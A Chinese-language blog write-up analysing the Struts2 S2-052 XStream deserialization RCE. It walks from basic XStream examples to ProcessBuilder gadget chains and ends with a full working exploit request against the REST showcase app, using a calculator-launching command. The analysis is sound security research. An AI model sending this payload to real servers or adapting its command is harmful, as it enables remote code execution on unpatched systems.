前言
漏洞爆发的那几天有事(主要还是懒)没有及时的跟进漏洞,这两天跟一下漏洞。
s2-052
漏洞war包下载
官方通告
在分析这个漏洞之前,先补补基础知识。
了解一下xstream这个包,看一下官方的一句话介绍,XStream is a simple library to serialize objects to XML and back again.就是一个序列化java对象为xml以及将xml反序列化为java对象。
我之前分析过json序列化和反序列化时常用的几种方法,今天我也学习一下xml序列化和反序列化的方法,目前来说有两种,一种是XMLDecoder,另外一种是xstream,xstream使用的比较早的多,然后这次的s2-052就是利用的xstream。
xstream反序列化的问题由来已久,早在四年前,老外就在defcon中讲述了这个问题link,而且之前jenkins的反序列化漏洞也是和xstream有关。
我们可以看到,通过XMLGenerator.generateXML的方法就进行了序列化,而通过XMLGenerator.generateTOfromXML就进行了反序列化。这个XMLGenerator类的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public final class XMLGenerator {
/*
* this class is for generating XML
*/
/*
* initialization of XStream class
*/
private static XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class);
processAnnotations(Rectangle.class);
}};
/*
* This class is for generating XML from MODEL class
* @param Object
* @return String
*/
public static String generateXML(Object to) {
return null == to ? "" : xstream.toXML(to);
}
/*
* Generates the transfer object from the given XML using XStream.
*
* @param String
* @return transfer object
*/
public static Object generateTOfromXML(String xml) {
return xstream.fromXML(xml);
}
}
这里就用到了XStream。
现在我们再来看一下这样的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public class xstreamPOC {
public static void main(String[] args)
{
// String payload = "<square>"+
// " <size>5</size>"+
// "</square> ";
String payload = "<string>"+
" hello"+
"</string> ";
String inputXML = payload;
//Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML);
//the next code is what the XMLGenerator.generateTOfromXML is doing:
XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class);
processAnnotations(Rectangle.class);
}};
Square sq1 = (Square)xstream.fromXML(inputXML);
System.out.println(String.format("sq1: \n \n%s \n\n", sq1));
}
}
从上图可以看到,当我在序列化一个包含有string关键字的xml时候,他会首先产生一个string的类,然后强制转换成Square类。危险就出现在这里了,XStream将创建定义在xml中的对象。
那么如果我们换成下面的payload呢1
2
3String payload = "<java.lang.ProcessBuilder>"+
" <command>ExecuteMe</command>"+
"</java.lang.ProcessBuilder>";
可以看到我们就会实例化这个ProcessBuilder这个类。但是呢,目前为止我们还是只能创建对象,并不能invoke它们,所以这个时候就需要动态代理和EventHandle这两个技巧了。
看下面这样的代码,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.beans.EventHandler;
import java.util.Set;
import java.util.TreeSet;
public class XStreamPoC {
public static void main(String[] args)
{
Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class,
new ProcessBuilder("open","/Applications/Calculator.app"), "start"));
String setXml = XMLGenerator.generateXML(set);
/*String payload = "<java.lang.ProcessBuilder>"+
" <command>ExecuteMe</command>"+
"</java.lang.ProcessBuilder>";
String inputXML = payload;
Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML);
//Object sq1 = XMLGenerator.generateTOfromXML(inputXML);
System.out.println(String.format("sq1 value: %s \n\nsq1 class: %s", sq1, sq1.getClass()));
*/
}
}
如上图所示,可以看到当转换发生异常的时候,就会执行start的操作。
介于此,我们的payload就可以这么写了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31import java.io.IOException;
public class PoC_XMLGenerator {
public static void main(String[] args) {
// TODO Auto-generated method stub
String process = "open";
String arguments = "/Applications/Calculator.app";
String payload = "<sorted-set>" +
//"<string>foo</string>" +
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>" + process + "</string>" +
" <string>" + arguments + "</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>";
XMLGenerator.generateTOfromXML(payload);
System.out.println("Will not get here");
}
}
至此,XStream的利用点分析完了。下面再来看看struts2中的利用。
通过官方的一句话公告 A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests可以看出问题出在struts rest plugin,这个REST插件struts2-rest-plugin.jar用到了XStreamHandler这个类,这个类对http请求中content-type是application/xml的,会调用XStream进行处理。
可以看到,当contenttype为xml的时候的处理类是XStreamHandler。那么我们就可以将恶意代码以xml为载体,通过Content-type为xml的方式,让XStreamHandler去进行序列化,那么这个时候就会触发漏洞。
最终payload如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2430
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
- 补丁对比
补丁代码S2-053
- 关于s2-053的漏洞问题是安全编码和习惯的问题,而非struts2通杀漏洞。
官方通告 - 较s2-052,s2-053漏洞更简单和直接。
小结
我还是喜欢用eclipse分析java漏洞。,还是好像还是idea比较好用啊,只是从eclipse切换过来略蛋疼。切换过来之后,你会发现你的ide好像都要是JetBrains这个公司的了。- 基础还是不够牢固,给自己定个小计划,后面有时间把所有的s2漏洞分析一下。总结一下思路。
Reference
- Standard way to serialize and deserialize Objects with XStream
http://blog.sodhanalibrary.com/2013/12/standard-way-to-serialize-and.html#.Wb6sFdMjE0o - 一步一步的构造payload
https://gist.github.com/DinisCruz/8077118#file-1-poping-a-calculator-on-osx-using-xmlgenerator-xstream-based-api-java - XStream “Remote Code Execution” exploit on code from “Standard way to serialize and deserialize Objects with XStream” article
http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html?m=1 - Struts2 S2-052 RCE分析与利用
https://paper.seebug.org/383/ - CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
https://yq.aliyun.com/articles/197926 - S2-052漏洞分析及官方缓解措施无效验证
http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/ - Struts2 S2-052漏洞分析
https://www.waitalone.cn/struts2-s2-052.html - Struts2-052漏洞分析
https://yaofeifly.github.io/2017/09/08/Struts2-052/ - Apache Struts2 Remote Code Execution (S2-053)
http://reverse-tcp.xyz/2017/09/15/Apache-Struts2-remote-code-execution-(s2-053)/ - S2-053 复现分析过程(附POC)
https://mp.weixin.qq.com/s/4CiKgVn7Y-hWUKRjgECsuA - Struts 2 S2-053漏洞分析(附POC)
http://www.freebuf.com/vuls/147735.html - 来自McAfee对s2-052的分析
https://securingtomorrow.mcafee.com/mcafee-labs/apache-struts-at-rest-analyzing-remote-code-execution-vulnerability-cve-2017-9805/ - GCC 合并了我写的代码,从编译器开始解决安全问题。来自嘶吼,作者为吴潍浠
http://www.4hou.com/binary/7688.html